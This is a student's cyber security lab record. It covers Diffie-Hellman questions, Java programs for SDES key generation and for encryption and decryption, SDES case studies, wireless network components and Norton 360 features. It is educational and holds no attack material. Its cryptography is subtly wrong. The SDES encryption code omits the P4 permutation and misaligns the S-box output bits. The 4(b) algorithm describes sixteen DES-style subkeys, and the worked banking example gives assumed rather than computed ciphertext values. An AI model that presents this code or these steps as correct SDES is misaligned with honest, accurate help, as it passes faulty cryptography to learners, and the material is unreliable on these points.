message authenƟcaƟon code (MAC), ensuring that the message hasn’t been tampered with 
during transmission. 

 

By using the Diffie-Hellman key exchange to establish the shared secret key, Alice and the server 
can securely communicate without needing to exchange the key over the network. 

 

 QuesƟon 4: CriƟcal Thinking - Key Size and Security 

The Diffie-Hellman algorithm's security depends on the size of the prime number \( p \). What 
could happen if a small prime like \( p = 23 \) is used, and how does increasing the key size improve 
security? 

 

Answer: 

 

Using a small prime like \( p = 23 \) in the Diffie-Hellman key exchange can weaken security for 
the following reasons: 
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1. Brute-Force AƩacks: 

   With small primes, an aƩacker could perform a brute-force aƩack by trying all possible values 
for the private keys \( a \) and \( b \). In the example, the possible values for \( a \) and \( b \) are 
between 1 and 22 (since \( a \) and \( b \) are chosen modulo \( p - 1 \)). This small key space can 
be exhausƟvely searched by an aƩacker. 

 

2. Discrete Logarithm AƩacks: 

   The difficulty of solving the discrete logarithm problem (i.e., finding \( a \) or \( b \)) is 
proporƟonal to the size of \( p \). For small values of \( p \), efficient algorithms (like the baby-
step giant-step algorithm) can solve the discrete logarithm problem relaƟvely quickly, 
compromising the security of the shared key. 

 

Increasing the Key Size: 

- Using a much larger prime \( p \) (e.g., 2048-bit or 3072-bit primes) significantly increases the 
difficulty of brute-force and discrete logarithm aƩacks. 

- With larger primes, the key space becomes astronomically large, making it computaƟonally 
infeasible for an aƩacker to guess or 

 

 calculate the private keys \( a \) and \( b \). 

- As a result, modern implementaƟons of Diffie-Hellman use large primes to ensure that the key 
exchange remains secure against all known types of aƩacks. 

 

 QuesƟon 5: PracƟcal ApplicaƟon - Ephemeral Diffie-Hellman  

What is the advantage of using ephemeral Diffie-Hellman (where a new key pair is generated for 
every session) over staƟc Diffie-Hellman, and when would this be necessary? 

 

Answer: 

 

Ephemeral Diffie-Hellman (EDH or DHE) involves generaƟng a new pair of private and public keys 
for each session, which provides perfect forward secrecy. This means that even if an aƩacker 
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manages to obtain the long-term private key of one of the parƟes in the future, they will not be 
able to decrypt past sessions. 

 

Advantages of ephemeral Diffie-Hellman: 

1. Perfect Forward Secrecy: If a session's keys are compromised, only that session’s 
communicaƟon is at risk. Previous sessions remain secure because their keys are different and 
not related to the current key. 

2. Dynamic Key Changes: In high-security environments, constantly changing keys makes it more 
difficult for aƩackers to mount long-term aƩacks, as they would need to break each session's key 
separately. 

 

When is Ephemeral Diffie-Hellman Necessary? 

- High-Security ApplicaƟons: Ephemeral Diffie-Hellman is essenƟal in scenarios like secure online 
banking, VPNs, or messaging apps (e.g., Signal), where long-term security and perfect forward 
secrecy are criƟcal. 

- Short-Lived Sessions: In environments where connecƟons are short-lived (e.g., web sessions 
using HTTPS), ephemeral keys ensure that each session is encrypted independently. 

 

Using ephemeral Diffie-Hellman ensures that even if an aƩacker compromises a session key, they 
cannot retroacƟvely decrypt previous communicaƟons, which is a key requirement for 
maintaining the confidenƟality of sensiƟve data. 

 

 

 

 

RESULT:  

 

The Diffie-Hellman key exchange is a powerful tool for establishing secure communicaƟons, 
parƟcularly in open or insecure networks. By generaƟng a shared secret key without transmiƫng 
it, the protocol ensures that even if aƩackers are monitoring the communicaƟon channel, they 
cannot easily decrypt the messages. 
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AD18712 - CYBER SECURITY LABORATORY 

EX NO:4(a). IMPLEMENTATION OF SDES KEY GENERATION ALGORITHM. 

DATE: 

 

AIM: 

To perform SDES Key  Generation Algorithm for the given input key.  

 

DESCRIPTION: 

1. The code implements a key generation algorithm for Simplified Data Encryption Standard 
(SDES), producing two subkeys (K1 and K2) from a 10-bit binary key. 

2. It uses `Scanner` to read user input, ensuring that the provided key meets the required format 
before proceeding with any operations. 

3. The algorithm utilizes two permutation tables (P10 for initial permutation and P8 for final key 
generation) to rearrange bits, which is crucial for enhancing security in encryption processes. 

4. The left shift operation is performed on halves of the key to create variability in the generated 
keys, ensuring that K1 and K2 are different from each other. 

5. Finally, the generated keys are printed to the console, allowing users to see the results of their 
input and confirming successful key generation for subsequent encryption or decryption 
processes. 

 

ALGORITHM: 

1. Prompt the user to enter a 10-bit binary key and validate the input to ensure it is exactly 10 
bits long and contains only binary digits (0s and 1s). 

2. Apply the P10 permutation to the input key, rearranging its bits according to the predefined 
permutation array. 

3. Split the permuted key into two halves: the left half (first 5 bits) and the right half (last 5 bits). 

4. Perform left shifts on both halves to generate K1 by shifting each half once, concatenating 
them, and applying P8; then generate K2 by shifting each half twice, concatenating, and applying 
P8 again. 

5. Return and print the generated keys K1 and K2 to the console. 
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PROGRAM: 
 
import java.util.*; 
public class SDESKeyGeneration { 

 

    private static final int[] P10 = {3, 5, 2, 7, 4, 10, 1, 9, 8, 6}; 

    private static final int[] P8 = {6, 3, 7, 4, 8, 5, 10, 9}; 

 

    public static void main(String[] args) { 

        Scanner scanner = new Scanner(System.in); 

        System.out.print("Enter a 10-bit binary key: "); 

        String key = scanner.nextLine(); 

 

        if (key.length() != 10 || !key.matches("[01]+")) { 

            System.out.println("Invalid input! Please enter a valid 10-bit binary string."); 

            return; 

        } 

 

        String[] keys = generateKeys(key); 

        System.out.println("Generated Key K1: " + keys[0]); 

        System.out.println("Generated Key K2: " + keys[1]); 

    } 

 

    private static String[] generateKeys(String key) { 

        String permutedKey = permute(key, P10); 

        String leftHalf = permutedKey.substring(0, 5); 

        String rightHalf = permutedKey.substring(5); 

 

        leftHalf = leftShift(leftHalf); 
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        rightHalf = leftShift(rightHalf); 

        String K1 = permute(leftHalf + rightHalf, P8); 

 

        leftHalf = leftShift(leftHalf); 

        rightHalf = leftShift(rightHalf); 

        leftHalf = leftShift(leftHalf); 

        rightHalf = leftShift(rightHalf); 

        String K2 = permute(leftHalf + rightHalf, P8); 

 

        return new String[]{K1, K2}; 

    } 

 

    private static String permute(String key, int[] permutation) { 

        char[] permutedKey = new char[permutation.length]; 

        for (int i = 0; i < permutation.length; i++) { 

            permutedKey[i] = key.charAt(permutation[i] - 1); 

        } 

        return new String(permutedKey); 

    } 

 

    private static String leftShift(String half) { 

        return half.substring(1) + half.charAt(0); 

    } 

} 
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OUTPUT: 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
RESULT: 

Thus successfully implemented SDES Key Generation Algorithm. 
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AD18712 - CYBER SECURITY LABORATORY 

EX NO:4(b).IMPLEMENTATION OF SDES ENCRYPTION AND DECRYPTION 
ALGORITHM     

DATE: 

 

AIM: 

To perform SDES Encryption and Decryption Algorithm for the given input key.  

 

DESCRIPTION: 

1. The code implements a key generation algorithm for Simplified Data Encryption Standard 
(SDES), producing two subkeys (K1 and K2) from a 10-bit binary key. 

2. It uses `Scanner` to read user input, ensuring that the provided key meets the required format 
before proceeding with any operations. 

3. The algorithm utilizes two permutation tables (P10 for initial permutation and P8 for final key 
generation) to rearrange bits, which is crucial for enhancing security in encryption processes. 

4. The left shift operation is performed on halves of the key to create variability in the generated 
keys, ensuring that K1 and K2 are different from each other. 

5. Finally, the generated keys are printed to the console, allowing users to see the results of their 
input and confirming successful key generation for subsequent encryption or decryption 
processes. 

 

ALGORITHM: 

1.  Both processes start with an initial permutation of the input data to rearrange the bits. 

2.  The data is split into two halves, and each undergoes rounds where the right half is expanded, 
permuted, and XORed with a subkey using function `f`. 

3.  The result of the `f` function is XORed with the left half, followed by swapping the halves 
after each round. 

4. : For encryption, subkeys are applied in order (K1 to K16); for decryption, they are used in 
reverse order (K16 to K1). 

5. A final permutation is applied to the combined halves to produce either ciphertext or recover 
the original plaintext. 
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PROGRAM: 
 
import java.util.Scanner; 

public class SDESKeyGeneration { 

 

    private static final int[] P10 = {3, 5, 2, 7, 4, 10, 1, 9, 8, 6}; 

    private static final int[] P8 = {6, 3, 7, 4, 8, 5, 10, 9}; 

    private static final int[] IP = {2, 6, 3, 1, 4, 8, 5, 7}; 

    private static final int[] IP_INV = {4, 1, 3, 5, 7, 2, 8, 6}; 

    private static final int[] EP = {4, 1, 2, 3, 2, 3, 4, 1}; 

 

    public static void main(String[] args) { 

        Scanner scanner = new Scanner(System.in); 

        System.out.print("Enter a 10-bit binary key: "); 

        String key = scanner.nextLine(); 

 

        if (key.length() != 10 || !key.matches("[01]+")) { 

            System.out.println("Invalid input! Please enter a valid 10-bit binary string."); 

            return; 

        } 

 

        String[] keys = generateKeys(key); 

        System.out.println("Generated Key K1: " + keys[0]); 

        System.out.println("Generated Key K2: " + keys[1]); 

 

        System.out.print("Enter a 8-bit plaintext: "); 

        String plaintext = scanner.nextLine(); 

        if (plaintext.length() != 8 || !plaintext.matches("[01]+")) { 

            System.out.println("Invalid input! Please enter a valid 8-bit binary string."); 
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            return; 

        } 

 

        String ciphertext = encrypt(plaintext, keys); 

        System.out.println("Ciphertext: " + ciphertext); 

 

        String decryptedText = decrypt(ciphertext, keys); 

        System.out.println("Decrypted Text: " + decryptedText); 

    } 

 

    private static String[] generateKeys(String key) { 

        String permutedKey = permute(key, P10); 

        String leftHalf = permutedKey.substring(0, 5); 

        String rightHalf = permutedKey.substring(5); 

 

        leftHalf = leftShift(leftHalf); 

        rightHalf = leftShift(rightHalf); 

        String K1 = permute(leftHalf + rightHalf, P8); 

 

        leftHalf = leftShift(leftHalf); 

        rightHalf = leftShift(rightHalf); 

        leftHalf = leftShift(leftHalf); 

        rightHalf = leftShift(rightHalf); 

        String K2 = permute(leftHalf + rightHalf, P8); 

 

        return new String[]{K1, K2}; 

    } 
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    private static String permute(String key, int[] permutation) { 

        char[] permutedKey = new char[permutation.length]; 

        for (int i = 0; i < permutation.length; i++) { 

            permutedKey[i] = key.charAt(permutation[i] - 1); 

        } 

        return new String(permutedKey); 

    } 

 

    private static String leftShift(String half) { 

        return half.substring(1) + half.charAt(0); 

    } 

 

    private static String encrypt(String plaintext, String[] keys) { 

        String permutedInput = permute(plaintext, IP); 

        String leftHalf = permutedInput.substring(0, 4); 

        String rightHalf = permutedInput.substring(4); 

 

        // Round 1 

        String temp = f(rightHalf, keys[0]); 

        leftHalf = xor(leftHalf, temp); 

         

        // Swap halves 

        String swapped = rightHalf + leftHalf; 

 

        leftHalf = swapped.substring(0, 4); 

        rightHalf = swapped.substring(4); 

 

        // Round 2 
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        temp = f(rightHalf, keys[1]); 

        leftHalf = xor(leftHalf, temp); 

 

        // Final permutation 

        return permute(leftHalf + rightHalf, IP_INV); 

    } 

 

    private static String decrypt(String ciphertext, String[] keys) { 

        String permutedInput = permute(ciphertext, IP); 

        String leftHalf = permutedInput.substring(0, 4); 

        String rightHalf = permutedInput.substring(4); 

 

        // Round 1 (using K2) 

        String temp = f(rightHalf, keys[1]); 

        leftHalf = xor(leftHalf, temp); 

 

        // Swap halves 

        String swapped = rightHalf + leftHalf; 

 

        leftHalf = swapped.substring(0, 4); 

        rightHalf = swapped.substring(4); 

 

        // Round 2 (using K1) 

        temp = f(rightHalf, keys[0]); 

        leftHalf = xor(leftHalf, temp); 

 

        // Final permutation 

        return permute(leftHalf + rightHalf, IP_INV); 



Reg No:2127210502xxx                                                                                               Page No :90 
 

    } 

 

    private static String f(String half, String key) { 

        String expandedHalf = permute(half, EP); 

        String xorResult = xor(expandedHalf, key); 

         

        // S-Boxes 

        String sBoxOutput = sBox(xorResult); 

        return sBoxOutput; 

    } 

 

    private static String sBox(String input) { 

        // S-Boxes 

        String s0[][] = { 

            {"1", "0", "3", "2"}, 

            {"3", "2", "1", "0"}, 

            {"0", "2", "1", "3"}, 

            {"3", "1", "2", "0"} 

        }; 

 

        String s1[][] = { 

            {"0", "1", "2", "3"}, 

            {"2", "0", "1", "3"}, 

            {"3", "0", "1", "0"}, 

            {"2", "1", "0", "3"} 

        }; 

 

        // Row and Column for S-Boxes 



Reg No:2127210502
xxx                                                                                               

Page No :91 
 

        int row0 = Integer.parseInt("" + input.charAt(0) + input.charAt(3), 2); 

        int col0 = Integer.parseInt("" + input.charAt(1) + input.charAt(2), 2); 

        int row1 = Integer.parseInt("" + input.charAt(4) + input.charAt(7), 2); 

        int col1 = Integer.parseInt("" + input.charAt(5) + input.charAt(6), 2); 

 

        String s0Output = Integer.toBinaryString(Integer.parseInt(s0[row0][col0])) + 
Integer.toBinaryString(Integer.parseInt(s1[row1][col1])); 

         

        // Pad with leading zeros to ensure 4 bits 

        return String.format("%4s", s0Output).replace(' ', '0'); 

    } 

 

    private static String xor(String a, String b) { 

        StringBuilder result = new StringBuilder(); 

        for (int i = 0; i < a.length(); i++) { 

            result.append(a.charAt(i) == b.charAt(i) ? '0' : '1'); 

        } 

        return result.toString(); 

    } 

} 
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OUTPUT: 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
RESULT: 

Thus successfully implemented SDES Encryption and Decryption  Algorithm. 
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EX NO:  4.                IMPLEMENTATION OF SDES KEY GENERATION ALGORITHM 

DATE: 

 

AIM:  

To Discuss various case studies associated with SDES Key GeneraƟon Algorithm to beƩer 
understand the working of the algorithm. 

 

CASE STUDIES: 

1. The Corporate VPN EncrypƟon Failure 
 

Story: A large corporaƟon uses SDES for encrypƟng traffic in its internal VPN system. AŌer an 
employee inadvertently downloads malware, the aƩacker gains access to the network traffic. 
Despite the encrypƟon, the aƩacker is sƟll able to decrypt criƟcal communicaƟon. 

    

QuesƟons: 

- Q1: Given the aƩacker’s success in decrypƟng the messages, what weaknesses in SDES could 
have contributed to the vulnerability? 

- Q2: If the company had used DES or AES instead of SDES, how would that have impacted the 
aƩacker's ability to decrypt the traffic? 

- Q3: What are the trade-offs between using a simpler encrypƟon algorithm like SDES versus a 
more complex one in terms of resource efficiency and security? 

   

Answer: 

- SDES uses smaller key sizes (10-bit) and shorter block sizes (8-bit), making it suscepƟble to brute 
force aƩacks. A switch to AES or DES would provide stronger encrypƟon due to larger key sizes. 

- The VPN would have been much more secure with DES or AES, as breaking those encrypƟon 
schemes would be computaƟonally expensive compared to SDES. 

   

--- 
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 2. Smart Home Devices Security 

Story: A smart home device manufacturer chooses to implement SDES to secure communicaƟons 
between devices and the central server. A hacker intercepts and decrypts the traffic, gaining 
control of several smart devices. 

    

QuesƟons: 

- Q1: Why might SDES not be a good choice for securing communicaƟons between IoT devices 
and a server in a real-world scenario? 

- Q2: How can the company upgrade its encrypƟon mechanism without causing significant 
disrupƟon to its exisƟng devices? 

- Q3: Would introducing a key exchange protocol alongside SDES increase the security of the 
devices, and if so, how? 

   

Answer: 

- SDES's 10-bit key size is vulnerable to brute-force aƩacks, and given that IoT devices oŌen have 
weak security measures, a stronger algorithm like AES should be used. 

- The company could roll out a firmware update to replace SDES with AES, ensuring compaƟbility 
with old devices through a transiƟon period. 

- A key exchange protocol, such as Diffie-Hellman, could improve security, ensuring that even if 
the encrypƟon is weak, the key exchange remains secure. 
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 3. Mobile Payment App Breach 

Story: A mobile payment app encrypts user credit card details using SDES before sending them to 
the server. One day, a user reports suspicious transacƟons on their account, indicaƟng that their 
payment informaƟon was compromised. 

    

QuesƟons: 

- Q1: What are the possible vulnerabiliƟes in SDES that could lead to the breach of credit card 
informaƟon in this case? 

- Q2: What steps could the development team take to secure the app beƩer, considering that 
SDES is insufficient for protecƟng sensiƟve financial data? 

- Q3: How would encrypƟon with a larger block size or key size (like AES) impact the 
performance and security of the mobile app? 

 

Answer: 

- SDES’s small key and block size make it prone to brute-force aƩacks, especially when sensiƟve 
data like credit card details are transmiƩed frequently. A man-in-the-middle aƩack or brute-force 
decrypƟon could have been used. 

- The development team should migrate to a more secure encrypƟon algorithm such as AES-256, 
which is widely used in financial applicaƟons for securing sensiƟve data. 

- AES would provide significantly beƩer security without a substanƟal performance trade-off, 
especially on modern mobile processors capable of handling the computaƟonal demands of 
larger block sizes. 
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5.Military CommunicaƟon EncrypƟon 

 

Story: In a military communicaƟon scenario, a team of soldiers relies on encrypted radio 
transmissions. Due to hardware limitaƟons, they use SDES to secure their communicaƟons. A 
hacker, however, is able to break the encrypƟon aŌer intercepƟng several messages. 

    

QuesƟons: 

- Q1: What are the potenƟal risks of using SDES for military communicaƟon, and how could the 
enemy have exploited its weaknesses? 

- Q2: If SDES is the only algorithm that the hardware can handle, what other security measures 
can be taken to compensate for its weaknesses? 

- Q3: In military communicaƟons, what would be the ideal encrypƟon algorithm to replace 
SDES, considering the balance between security and resource constraints? 

 

Answer: 

- SDES is highly vulnerable to known-plaintext and brute-force aƩacks, both of which could have 
been used to decrypt the intercepted communicaƟons. 

- In addiƟon to using encrypƟon, the military could add techniques such as frequency hopping, 
addiƟonal layers of obfuscaƟon, or periodic key changes to make it harder for an enemy to exploit 
weaknesses in SDES. 

- An ideal replacement would be AES in a lightweight form, which can be opƟmized for low-
resource environments and provide beƩer security without sacrificing too much performance. 

 

These case study quesƟons illustrate the potenƟal flaws of SDES and how transiƟoning to more 
robust algorithms like AES or DES, along with addiƟonal security measures, can miƟgate real-
world risks. 
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Case Study: The Secured Banking TransacƟon 

 

 Background: 

In 2023, a small financial insƟtuƟon is upgrading its online banking security protocols. As part of 
a proof-of-concept, the IT team implements a simplified encrypƟon algorithm for securing low-
value internal transacƟons. They decide to test the Simplified Data EncrypƟon Standard (SDES), a 
lightweight symmetric encrypƟon algorithm similar to the DES algorithm but with reduced 
complexity.  

 

The bank's team wants to see how well the SDES algorithm works in encrypƟng a client’s 
transacƟon details before applying it to the larger system. 

 

 

 Scenario: 

 

A $50 transfer between two accounts needs to be encrypted using SDES. The following 
informaƟon needs to be transmiƩed securely: 

 

- TransacƟon amount: $50 (represented in binary as 110010) 

- Source account number: 123 (represented in binary as 1111011) 

- DesƟnaƟon account number: 456 (represented in binary as 111001000) 

 

The IT team uses a 10-bit key for SDES, and the key they chose is: 1010000010. 

 

To keep things simple, they will only encrypt the transacƟon amount (i.e., $50) as part of their 
trial run. The transacƟon details will be encrypted using SDES with the provided 10-bit key. 

 

--- 
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QuesƟons and Answers: 

 

QuesƟon 1: Understanding SDES Structure 

What are the main components of the SDES encrypƟon process? Outline the steps that the IT 
team will use to encrypt the transacƟon amount ($50). 

 

Answer: 

The main components of the SDES algorithm are: 

 

1. Key GeneraƟon: 

   SDES generates two 8-bit subkeys from the iniƟal 10-bit key using two permutaƟons and shiŌs: 

   - Key 1 (K1): Generated from the iniƟal key aŌer permutaƟng and shiŌing. 

   - Key 2 (K2): Generated aŌer addiƟonal shiŌing of the key bits. 

 

2. IniƟal PermutaƟon (IP): 

   The plaintext (in this case, the transacƟon amount in binary) is permuted using a predefined 
table to shuffle the bits. 

 

3. Feistel FuncƟon: 

   - The 8-bit permuted text is divided into two 4-bit halves (LeŌ and Right). 

   - The right half undergoes an expansion permutaƟon, resulƟng in 8 bits. 

   - XOR is applied between the expanded right half and the first subkey (K1). 

   - The result is passed through S-Boxes, and then a permutaƟon is applied to produce a 4-bit 
output. 

   - This output is XORed with the leŌ half, and the leŌ and right halves are swapped. 

 

4. Round 2: 

   The Feistel funcƟon is repeated using the second subkey (K2). 
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5. Final PermutaƟon (IP-1): 

   AŌer both rounds, the final result undergoes an inverse iniƟal permutaƟon to produce the 
ciphertext. 

 

The IT team would follow these steps to encrypt the transacƟon amount ($50) using the 10-bit 
key. 

 

--- 

 

 QuesƟon 2: EncrypƟon of the TransacƟon Amount 

Encrypt the transacƟon amount (binary: 110010) using the SDES algorithm and the 10-bit key 
1010000010. Show the steps for key generaƟon and encrypƟon. 

 

Answer: 

Let's walk through the encrypƟon of the transacƟon amount using SDES. For simplicity, we 
assume an 8-bit binary input and key generaƟon process: 

 

1. TransacƟon Amount: 110010 → Pad with two zeros for an 8-bit binary string → 00110010. 

 

2. Key GeneraƟon: 

   - IniƟal 10-bit key: 1010000010. 

   - Key GeneraƟon Process: 

     - Apply a permutaƟon on the 10-bit key, then split into two halves. 

     - Apply leŌ shiŌs and generate K1 and K2 using predefined SDES tables. 

 

3. IniƟal PermutaƟon (IP): 

   Apply the IP to the 8-bit plaintext (00110010) using the IP table to rearrange the bits. Let's 
assume the permuted result is: 10010110. 
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4. Feistel Round 1 (using K1): 

   - Split the permuted text into leŌ (1001) and right (0110). 

   - Expand the right half (0110) to 8 bits. 

   - XOR the expanded right half with K1. 

   - Pass the result through S-Boxes and permute. 

   - XOR with the leŌ half and swap the leŌ and right halves. 

 

5. Feistel Round 2 (using K2): 

   - Repeat the process with K2 for the second round. 

 

6. Final PermutaƟon (IP-1): 

   AŌer the two rounds, apply the inverse iniƟal permutaƟon to get the ciphertext. 

 

For example, aŌer these steps, the encrypted binary transacƟon amount might result in: 
01101001. 

 

--- 

 

 QuesƟon 3: DecrypƟon Process 

If the encrypted transacƟon amount is 01101001, how can the IT team decrypt it to verify the 
correct transacƟon amount using the SDES algorithm? 

 

Answer: 

To decrypt the ciphertext (01101001), the IT team will perform the following steps using the SDES 
decrypƟon process: 

 

1. IniƟal PermutaƟon (IP): 

   Apply the same iniƟal permutaƟon to the ciphertext to reorder the bits. 
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2. Feistel FuncƟon with K2: 

   - Divide the result into leŌ and right halves. 

   - Perform the Feistel funcƟon using the second key (K2) first. This includes: 

     - Expanding the right half. 

     - XORing with K2. 

     - Passing through S-Boxes. 

     - XORing with the leŌ half, then swapping. 

 

3. Feistel FuncƟon with K1: 

   - Perform the same Feistel funcƟon again, but this Ɵme using the first key (K1). 

   - No swapping aŌer this round. 

 

4. Final PermutaƟon (IP-1): 

   Apply the final permutaƟon to rearrange the bits and retrieve the plaintext. 

 

In this case, aŌer decrypƟng 01101001, the resulƟng binary plaintext would be 00110010, which 
corresponds to $50. 

 

--- 
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QuesƟon 4: CriƟcal Thinking - Key Management 

The IT team is considering using SDES for their low-value transacƟons. What key management 
challenges could arise in using SDES, and how could the team miƟgate these issues? 

 

Answer: 

Key Management Challenges: 

 

1. Key DistribuƟon: 

   Since SDES is a symmetric key algorithm, both the sender and the receiver need to securely 
share the same key. DistribuƟng the 10-bit key securely between both parƟes without it being 
intercepted is a challenge. 

 

2. Key Length: 

   The 10-bit key used in SDES is relaƟvely short, making it vulnerable to brute-force aƩacks. An 
aƩacker could try all possible 10-bit keys (1024 possibiliƟes) to decrypt a message. 

 

3. Key RotaƟon: 

   Using the same key for mulƟple transacƟons could weaken security. If an aƩacker can decrypt 
one message, they can potenƟally decrypt others. 

 

MiƟgaƟon Strategies: 

 

1. Secure Key Exchange: 

   Use a secure key exchange protocol like Diffie-Hellman to ensure that both parƟes can establish 
a shared key without transmiƫng it over the network. 

 

2. Increase Key Length: 

   Although SDES uses a simplified 10-bit key, adopƟng more secure algorithms like DES (56-bit 
key) or AES (128-bit key) would significantly improve security. 
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3. Frequent Key Changes: 

   Implement a key rotaƟon policy where keys are changed frequently (e.g., per transacƟon) to 
reduce the likelihood of a key being compromised. 

 

--- 

 

 QuesƟon 5: Security Assessment of SDES 

What are the potenƟal security weaknesses of SDES, and why might it not be suitable for high-
value banking transacƟons? What modern alternaƟves could the team consider? 

 

Answer: 

Weaknesses of SDES: 

 

1. Short Key Length: 

   The 10-bit key makes SDES suscepƟble to brute-force aƩacks. An aƩacker can easily try all 
possible key combinaƟons in a relaƟvely short amount of Ɵme. 

 

2. Simplified Structure: 

   SDES is a simplified version of DES and lacks the robustness and complexity required to prevent 
advanced cryptographic aƩacks like differenƟal and linear cryptanalysis. 

 

3. Vulnerability to Known Plaintext AƩacks: 

   If an aƩacker knows some pairs of plaintext and ciphertext, they could reverse-engineer the key, 
given SDES's simplicity. 
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Modern AlternaƟves: 

 

1. AES (Advanced EncrypƟon Standard): 

   AES is a widely used encrypƟon algorithm with key sizes of 128, 192, or 256 bits, offering strong 
security suitable for high-value financial transacƟons. 

 

2. RSA (Rivest-Shamir-Adleman): 

   RSA is an asymmetric encrypƟon algorithm oŌen used for secure key exchanges and digital 
signatures. It could complement symmetric encrypƟon schemes by securely distribuƟng keys. 

 

3. TLS (Transport Layer Security): 

   For securing online transacƟons, the bank could use TLS, which provides end-to-end encrypƟon 
for data transmiƩed over the network, prevenƟng eavesdropping and tampering. 

 

 

 

 

 

 

 

RESULT:  

       

In conclusion, SDES is useful for educaƟonal purposes or low-value, low-security applicaƟons, 
but for modern banking transacƟons, stronger algorithms like AES or RSA are preferred. 
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EX NO: 5.                 STUDY OF DIFFERENT WIRELESS NETWORK COMPONENTS 
DATE:                         AND FEATURES OF ANY ONE OF MOBILE SECURITY APPS 

  

  

AIM 

.          To  study different wireless network components and features of any one of mobile security 
apps 

COMPONENTS OF WIRELESS NETWORK: 

A wireless network is a type of communication network that allows devices to communicate and 
exchange data without the need for physical connections like cables. Wireless networks are crucial 
for mobile and distributed computing, offering flexibility and connectivity in a variety of 
environments. The key components of a wireless network are as follows: 

1. Access Points (APs): 

 Definition: Devices that allow wireless devices to connect to a wired network using Wi-
Fi, Bluetooth, or other wireless standards. 

 Function: Access points serve as the primary gateway for devices in the wireless network 
to connect to the internet or a local area network (LAN). They broadcast signals and handle 
the connection between devices and the broader network. 

 Types: 

o Standalone APs: Work independently and are manually configured. 

o Controller-based APs: Managed centrally using a controller that handles multiple 
APs in a large network. 

2. Wireless Network Interface Cards (NICs): 

 Definition: Hardware installed in devices (laptops, desktops, smartphones) that allows 
them to connect to a wireless network. 

 Function: These cards convert the data from a device into radio waves and send them to 
the wireless access point. They also receive radio signals from the access point and convert 
them back into data for the device. 

 Types: Built-in (in most modern devices) or external (USB adapters). 
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3. Antennas: 

 Definition: A component of both APs and NICs that facilitates the transmission and 
reception of wireless signals. 

 Function: Antennas play a crucial role in determining the coverage area of a wireless 
network. They convert electrical signals into radio waves and vice versa. 

 Types: 

o Omnidirectional Antennas: Broadcast signals in all directions, typically used in 
APs. 

o Directional Antennas: Focus the signal in a specific direction, used in point-to-
point or long-range wireless connections. 

4. Routers: 

 Definition: A device that forwards data packets between different networks, such as 
between a local network and the internet. 

 Function: Wireless routers often include built-in access points to connect wireless devices. 
They route traffic, manage network addresses, and enable wireless devices to communicate 
with wired networks and the internet. 

5. Wireless Controller: 

 Definition: A device or software that centrally manages multiple APs in large networks 
(like enterprise environments). 

 Function: It handles configuration, monitoring, and traffic management of APs to ensure 
optimal performance across the network. 

6. Switches: 

 Definition: Devices that connect devices in a network and use packet switching to forward 
data to its destination. 

 Function: While switches are often wired, they can connect wireless access points to the 
wired backbone of a network. 

7. Firewalls: 

 Definition: A security system designed to protect a network from unauthorized access. 

 Function: Firewalls monitor and control incoming and outgoing traffic, providing 
protection against cyber-attacks and ensuring data integrity. 

8. Wireless Bridge: 



Reg No:2127210502
xxx                                                                                               

Page No :107 
 

 Definition: A device used to connect two or more network segments wirelessly. 

 Function: Wireless bridges connect separate networks, allowing them to communicate 
wirelessly across longer distances than typical wireless network ranges. 

9. Wireless Repeaters/Extenders: 

 Definition: Devices that extend the range of a wireless network. 

 Function: Repeaters capture wireless signals from an access point and rebroadcast them 
to areas with weak or no signal, improving coverage in larger areas. 

10. Wireless Standards: 

 Definition: Protocols and technologies that define the specifications for wireless 
communication. 

 Types: 

o Wi-Fi (802.11 standards): The most common wireless networking standard for 
local area networks. 

o Bluetooth: Short-range communication for connecting devices like smartphones, 
headsets, and speakers. 

o Cellular Networks (2G, 3G, 4G, 5G): Long-range wireless standards used for 
mobile data communication. 

o ZigBee: A low-power, short-range communication standard for IoT devices. 

11. Wireless Spectrum: 

 Definition: The range of electromagnetic frequencies used for transmitting wireless 
signals. 

 Function: Different wireless technologies use different portions of the wireless spectrum, 
typically regulated by governments. Common bands include 2.4 GHz and 5 GHz for Wi-
Fi, and cellular bands for mobile networks. 

12. Security Mechanisms: 

 WPA/WPA2/WPA3 (Wi-Fi Protected Access): Encryption protocols for securing 
wireless networks. 

 VPN (Virtual Private Network): A secure connection used to protect data transmitted 
over a wireless network. 

 MAC Address Filtering: Limits network access to specific devices based on their unique 
MAC address. 
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FEATURES OF NORTON MOBILE SECURITY APP: 

 Norton 360 plans are designed to offer multiple layers of protection against existing and 
emerging cyberthreats. 

 These plans ensure customers can get the right internet security, privacy, and identity theft 
protection for their needs. 

 Norton 360 plans come with a limited number of device licenses to protect your various 
PCs, Macs, Android and iOS smartphones, and tablets. 

Viruses + Malware 

Norton 360 helps block harmful software that replicates itself and spreads itself to other devices, 
as well as defends against various types of malicious software, including Trojans, 
worms, adware, and more. 

Worms 

Norton 360 helps block malware that replicates itself without using a host file (unlike viruses, who 
use a file). 

Ransomware 

Norton 360 helps protect against malware that encrypts a computer’s contents and then demands 
a ransom to restore them. 

Spyware 

Norton 360 helps detect software that tracks and sends personal information or sensitive 
information to third parties. 

Adware 

Norton 360 helps block malware that’s designed to display unwanted advertisements. 

Malvertising 

Norton 360 protection helps detect when malware is hidden behind online ads. 

Trojan Horse/Trojans 

Norton 360 protection helps block Trojans that appear to be something they are not, often 
containing a backdoor component for future access. 

Phishing 

Norton 360 protection has tools to help detect phishing attempts, which are seemingly safe links 
that take users to malicious sites that gather personal data and login credentials, and can be found 
within websites, emails, ads, and security flaws in games. 
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Pharming 

Like phishing attacks, Norton 360 protection helps detect pharming attacks that redirect users 
from a legitimate site to a malicious one. 

Browser Hijacking 

Norton protection helps protect your browser against malware that changes your browser's settings 
or redirects your web traffic. 

Rootkits 

Norton protection helps protect against rootkits that can enable an unauthorized user to gain 
control of a computer system without being detected. 

Unwanted Browser Extensions 

Norton 360 includes Intrusion Prevention System (IPS) to help block malicious traffic caused by 
browser extensions. 

Social Networking Scams 

Norton 360 helps block like-jacking on Facebook, a type of clickjacking where your “like” clicks 
on something malicious hidden in the background, which could then be promoted to your friends. 

 Other types of threats do Norton 360 plans help protect against 

Norton 360 plans also help protect against banking trojans, coin-miners and crypto jacking, 
downloaders, exploits, fireless threats, form jacking attacks, keyloggers, man-in-the-middle 
browser attacks, potentially unwanted applications (PUAs), script-based attacks (JavaScript, VBA, 
VBS, PowerShell), and tech support scams. 

Firewall protection 

Norton’s Smart Firewall protection is included across our Norton 360 plans, which provides 
